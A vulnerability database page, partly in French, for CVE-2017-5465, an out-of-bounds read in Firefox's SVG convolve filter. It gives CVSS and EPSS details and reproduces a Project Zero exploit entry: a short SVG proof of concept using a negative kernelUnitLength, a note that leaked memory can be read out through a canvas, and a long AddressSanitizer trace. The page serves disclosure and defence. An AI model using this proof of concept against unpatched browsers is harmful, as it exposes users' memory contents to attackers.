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CVE-2017-5465 : Détail

CVE-2017-5465

9.1
/
CRITICAL
Overflow
0.88%V3
Network
2018-06-11 19:00 +00:00
2018-06-12 07:57 +00:00
CVE.org
NVD

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Descriptions

An out-of-bounds read while processing SVG content in "ConvolvePixel". This results in a crash and also allows for otherwise inaccessible memory being copied into SVG graphic content, which could then displayed. This vulnerability affects Thunderbird < 52.1, Firefox ESR < 45.9, Firefox ESR < 52.1, and Firefox < 53.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-125 Out-of-bounds Read
The product reads data past the end, or before the beginning, of the intended buffer.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 9.1 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.4 AV:N/AC:L/Au:N/C:P/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42072

Date de publication : 2017-05-24 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1185 Mozilla bug tracker link: https://bugzilla.mozilla.org/show_bug.cgi?id=1347617 There is an out of bound read leading to memory disclosure in Firefox. The vulnerability was confirmed on the nightly ASan build. PoC: ================================================================= --> <svg filter="url(#f)"> <filter id="f" filterRes="19" filterUnits="userSpaceOnUse"> <feConvolveMatrix kernelMatrix="1 1 1 1 1 1 1 1 1" kernelUnitLength="1 -1" /> <!-- ================================================================= Preliminary analysis: The problem seems to be the negative krenel unit length. This leads to an out of bound access in ConvolvePixel() and out-of-bounds data is going to be copied into the SVG image. From there, it can be extracted by an attacker by loading the SVG image into a canvas element. ASan log: ================================================================= ==25524==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f8cd2946336 at pc 0x7f8d3fcd397e bp 0x7ffc051ca390 sp 0x7ffc051ca388 READ of size 1 at 0x7f8cd2946336 thread T0 #0 0x7f8d3fcd397d in ColorComponentAtPoint /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:2293:10 #1 0x7f8d3fcd397d in ConvolvePixel<int> /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:2358 #2 0x7f8d3fcd397d in already_AddRefed<mozilla::gfx::DataSourceSurface> mozilla::gfx::FilterNodeConvolveMatrixSoftware::DoRender<int>(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, int, int) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:2509 #3 0x7f8d3fcd089a in mozilla::gfx::FilterNodeConvolveMatrixSoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:2379:12 #4 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #5 0x7f8d3fcb85d9 in mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::FilterNodeSoftware::FormatHint, mozilla::gfx::ConvolveMatrixEdgeMode, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:728:25 #6 0x7f8d3fce4035 in mozilla::gfx::FilterNodeCropSoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:3140:10 #7 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #8 0x7f8d3fcb85d9 in mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::FilterNodeSoftware::FormatHint, mozilla::gfx::ConvolveMatrixEdgeMode, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:728:25 #9 0x7f8d3fce4895 in mozilla::gfx::FilterNodeUnpremultiplySoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:3197:5 #10 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #11 0x7f8d3fcb85d9 in mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::FilterNodeSoftware::FormatHint, mozilla::gfx::ConvolveMatrixEdgeMode, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:728:25 #12 0x7f8d3fcc7832 in mozilla::gfx::FilterNodeComponentTransferSoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:1781:5 #13 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #14 0x7f8d3fcb85d9 in mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::FilterNodeSoftware::FormatHint, mozilla::gfx::ConvolveMatrixEdgeMode, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:728:25 #15 0x7f8d3fce4685 in mozilla::gfx::FilterNodePremultiplySoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:3168:5 #16 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #17 0x7f8d3fc7cb43 in mozilla::gfx::FilterNodeSoftware::Draw(mozilla::gfx::DrawTarget*, mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::PointTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::DrawOptions const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:580:14 #18 0x7f8d3fd8bc6e in mozilla::gfx::FilterSupport::RenderFilterDescription(mozilla::gfx::DrawTarget*, mozilla::gfx::FilterDescription const&, mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::SourceSurface*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SourceSurface*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SourceSurface*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, nsTArray<RefPtr<mozilla::gfx::SourceSurface> >&, mozilla::gfx::PointTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::DrawOptions const&) /home/worker/workspace/build/src/gfx/src/FilterSupport.cpp:1360:8 #19 0x7f8d44ccc3fd in nsFilterInstance::Render(mozilla::gfx::DrawTarget*) /home/worker/workspace/build/src/layout/svg/nsFilterInstance.cpp:545:3 #20 0x7f8d44ccb7ee in nsFilterInstance::PaintFilteredFrame(nsIFrame*, mozilla::gfx::DrawTarget*, gfxMatrix const&, nsSVGFilterPaintCallback*, nsRegion const*) /home/worker/workspace/build/src/layout/svg/nsFilterInstance.cpp:81:19 #21 0x7f8d44d09f72 in nsSVGIntegrationUtils::PaintFilter(nsSVGIntegrationUtils::PaintFramesParams const&) /home/worker/workspace/build/src/layout/svg/nsSVGIntegrationUtils.cpp:1094:5 #22 0x7f8d44f7e9bd in PaintAsLayer /home/worker/workspace/build/src/layout/painting/nsDisplayList.cpp:8330:30 #23 0x7f8d44f7e9bd in PaintInactiveLayer /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:3722 #24 0x7f8d44f7e9bd in mozilla::FrameLayerBuilder::PaintItems(nsTArray<mozilla::FrameLayerBuilder::ClippedDisplayItem>&, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, gfxContext*, nsRenderingContext*, nsDisplayListBuilder*, nsPresContext*, mozilla::gfx::IntPointTyped<mozilla::gfx::UnknownUnits> const&, float, float, int) /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:6044 #25 0x7f8d44f819f2 in mozilla::FrameLayerBuilder::DrawPaintedLayer(mozilla::layers::PaintedLayer*, gfxContext*, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, void*) /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:6233:19 #26 0x7f8d40034966 in mozilla::layers::ClientPaintedLayer::PaintThebes(nsTArray<mozilla::layers::ReadbackProcessor::Update>*) /home/worker/workspace/build/src/gfx/layers/client/ClientPaintedLayer.cpp:85:5 #27 0x7f8d40035611 in mozilla::layers::ClientPaintedLayer::RenderLayerWithReadback(mozilla::layers::ReadbackProcessor*) /home/worker/workspace/build/src/gfx/layers/client/ClientPaintedLayer.cpp:139:3 #28 0x7f8d4006810f in mozilla::layers::ClientContainerLayer::RenderLayer() /home/worker/workspace/build/src/gfx/layers/client/ClientContainerLayer.h:57:29 #29 0x7f8d4006810f in mozilla::layers::ClientContainerLayer::RenderLayer() /home/worker/workspace/build/src/gfx/layers/client/ClientContainerLayer.h:57:29 #30 0x7f8d4002fcb7 in mozilla::layers::ClientLayerManager::EndTransactionInternal(void (*)(mozilla::layers::PaintedLayer*, gfxContext*, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, void*), void*, mozilla::layers::LayerManager::EndTransactionFlags) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:358:13 #31 0x7f8d40030527 in mozilla::layers::ClientLayerManager::EndTransaction(void (*)(mozilla::layers::PaintedLayer*, gfxContext*, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, void*), void*, mozilla::layers::LayerManager::EndTransactionFlags) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:411:3 #32 0x7f8d44ff4b51 in nsDisplayList::PaintRoot(nsDisplayListBuilder*, nsRenderingContext*, unsigned int) /home/worker/workspace/build/src/layout/painting/nsDisplayList.cpp:2253:17 #33 0x7f8d447e7554 in nsLayoutUtils::PaintFrame(nsRenderingContext*, nsIFrame*, nsRegion const&, unsigned int, nsDisplayListBuilderMode, nsLayoutUtils::PaintFrameFlags) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3714:12 #34 0x7f8d446eaf2a in mozilla::PresShell::Paint(nsView*, nsRegion const&, unsigned int) /home/worker/workspace/build/src/layout/base/PresShell.cpp:6489:5 #35 0x7f8d43f4cff4 in nsViewManager::ProcessPendingUpdatesPaint(nsIWidget*) /home/worker/workspace/build/src/view/nsViewManager.cpp:483:19 #36 0x7f8d43f4c54f in nsViewManager::ProcessPendingUpdatesForView(nsView*, bool) /home/worker/workspace/build/src/view/nsViewManager.cpp:415:33 #37 0x7f8d43f4faed in nsViewManager::ProcessPendingUpdates() /home/worker/workspace/build/src/view/nsViewManager.cpp:1104:5 #38 0x7f8d44648596 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2031:11 #39 0x7f8d44654553 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:299:7 #40 0x7f8d44654224 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:321:5 #41 0x7f8d446569c5 in RunRefreshDrivers /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:711:5 #42 0x7f8d446569c5 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:624 #43 0x7f8d44656bfe in applyImpl<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), StoreCopyPassByConstLRef<mozilla::TimeStamp> , 0> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:855:12 #44 0x7f8d44656bfe in apply<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp)> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:861 #45 0x7f8d44656bfe in mozilla::detail::RunnableMethodImpl<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver*, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), true, false, mozilla::TimeStamp>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:890 #46 0x7f8d3e06238c in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1269:14 #47 0x7f8d3e05ecb8 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10 #48 0x7f8d3ee06e21 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #49 0x7f8d3ed67980 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:10 #50 0x7f8d3ed67980 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #51 0x7f8d3ed67980 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #52 0x7f8d43fc682f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27 #53 0x7f8d474273c1 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:30 #54 0x7f8d475e78ca in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4492:22 #55 0x7f8d475e9353 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4670:8 #56 0x7f8d475ea6dc in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4761:21 #57 0x4eb2b3 in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:236:22 #58 0x4eb2b3 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:307 #59 0x7f8d5914d82f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291 #60 0x41ce08 in _start (/home/ifratric/p0/latest/firefox/firefox+0x41ce08) 0x7f8cd2946336 is located 1226 bytes to the left of 162639-byte region [0x7f8cd2946800,0x7f8cd296e34f) allocated by thread T0 here: #0 0x4bb873 in calloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:72:3 #1 0x7f8d3fd5a936 in Realloc /home/worker/workspace/build/src/gfx/2d/Tools.h:179:41 #2 0x7f8d3fd5a936 in mozilla::gfx::SourceSurfaceAlignedRawData::Init(mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SurfaceFormat, bool, unsigned char, int) /home/worker/workspace/build/src/gfx/2d/SourceSurfaceRawData.cpp:66 #3 0x7f8d3fc40c98 in mozilla::gfx::Factory::CreateDataSourceSurface(mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SurfaceFormat, bool) /home/worker/workspace/build/src/gfx/2d/Factory.cpp:878:16 #4 0x7f8d3fcb1bd7 in mozilla::gfx::GetDataSurfaceInRect(mozilla::gfx::SourceSurface*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::ConvolveMatrixEdgeMode) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:434:5 #5 0x7f8d3fcb8903 in mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::FilterNodeSoftware::FormatHint, mozilla::gfx::ConvolveMatrixEdgeMode, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:753:15 #6 0x7f8d3fcd0d8d in already_AddRefed<mozilla::gfx::DataSourceSurface> mozilla::gfx::FilterNodeConvolveMatrixSoftware::DoRender<int>(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, int, int) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:2460:5 #7 0x7f8d3fcd089a in mozilla::gfx::FilterNodeConvolveMatrixSoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:2379:12 #8 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #9 0x7f8d3fcb85d9 in mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::FilterNodeSoftware::FormatHint, mozilla::gfx::ConvolveMatrixEdgeMode, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:728:25 #10 0x7f8d3fce4035 in mozilla::gfx::FilterNodeCropSoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:3140:10 #11 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #12 0x7f8d3fcb85d9 in mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::FilterNodeSoftware::FormatHint, mozilla::gfx::ConvolveMatrixEdgeMode, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:728:25 #13 0x7f8d3fce4895 in mozilla::gfx::FilterNodeUnpremultiplySoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:3197:5 #14 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #15 0x7f8d3fcb85d9 in mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::FilterNodeSoftware::FormatHint, mozilla::gfx::ConvolveMatrixEdgeMode, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:728:25 #16 0x7f8d3fcc7832 in mozilla::gfx::FilterNodeComponentTransferSoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:1781:5 #17 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #18 0x7f8d3fcb85d9 in mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(unsigned int, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::FilterNodeSoftware::FormatHint, mozilla::gfx::ConvolveMatrixEdgeMode, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const*) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:728:25 #19 0x7f8d3fce4685 in mozilla::gfx::FilterNodePremultiplySoftware::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:3168:5 #20 0x7f8d3fcb0be2 in mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:627:21 #21 0x7f8d3fc7cb43 in mozilla::gfx::FilterNodeSoftware::Draw(mozilla::gfx::DrawTarget*, mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::PointTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::DrawOptions const&) /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:580:14 #22 0x7f8d3fd8bc6e in mozilla::gfx::FilterSupport::RenderFilterDescription(mozilla::gfx::DrawTarget*, mozilla::gfx::FilterDescription const&, mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::SourceSurface*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SourceSurface*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::SourceSurface*, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, nsTArray<RefPtr<mozilla::gfx::SourceSurface> >&, mozilla::gfx::PointTyped<mozilla::gfx::UnknownUnits, float> const&, mozilla::gfx::DrawOptions const&) /home/worker/workspace/build/src/gfx/src/FilterSupport.cpp:1360:8 #23 0x7f8d44ccc3fd in nsFilterInstance::Render(mozilla::gfx::DrawTarget*) /home/worker/workspace/build/src/layout/svg/nsFilterInstance.cpp:545:3 #24 0x7f8d44ccb7ee in nsFilterInstance::PaintFilteredFrame(nsIFrame*, mozilla::gfx::DrawTarget*, gfxMatrix const&, nsSVGFilterPaintCallback*, nsRegion const*) /home/worker/workspace/build/src/layout/svg/nsFilterInstance.cpp:81:19 #25 0x7f8d44d09f72 in nsSVGIntegrationUtils::PaintFilter(nsSVGIntegrationUtils::PaintFramesParams const&) /home/worker/workspace/build/src/layout/svg/nsSVGIntegrationUtils.cpp:1094:5 #26 0x7f8d44f7e9bd in PaintAsLayer /home/worker/workspace/build/src/layout/painting/nsDisplayList.cpp:8330:30 #27 0x7f8d44f7e9bd in PaintInactiveLayer /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:3722 #28 0x7f8d44f7e9bd in mozilla::FrameLayerBuilder::PaintItems(nsTArray<mozilla::FrameLayerBuilder::ClippedDisplayItem>&, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, gfxContext*, nsRenderingContext*, nsDisplayListBuilder*, nsPresContext*, mozilla::gfx::IntPointTyped<mozilla::gfx::UnknownUnits> const&, float, float, int) /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:6044 #29 0x7f8d44f819f2 in mozilla::FrameLayerBuilder::DrawPaintedLayer(mozilla::layers::PaintedLayer*, gfxContext*, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, void*) /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:6233:19 #30 0x7f8d40034966 in mozilla::layers::ClientPaintedLayer::PaintThebes(nsTArray<mozilla::layers::ReadbackProcessor::Update>*) /home/worker/workspace/build/src/gfx/layers/client/ClientPaintedLayer.cpp:85:5 #31 0x7f8d40035611 in mozilla::layers::ClientPaintedLayer::RenderLayerWithReadback(mozilla::layers::ReadbackProcessor*) /home/worker/workspace/build/src/gfx/layers/client/ClientPaintedLayer.cpp:139:3 #32 0x7f8d4006810f in mozilla::layers::ClientContainerLayer::RenderLayer() /home/worker/workspace/build/src/gfx/layers/client/ClientContainerLayer.h:57:29 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:2293:10 in ColorComponentAtPoint Shadow bytes around the buggy address: 0x0ff21a520c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 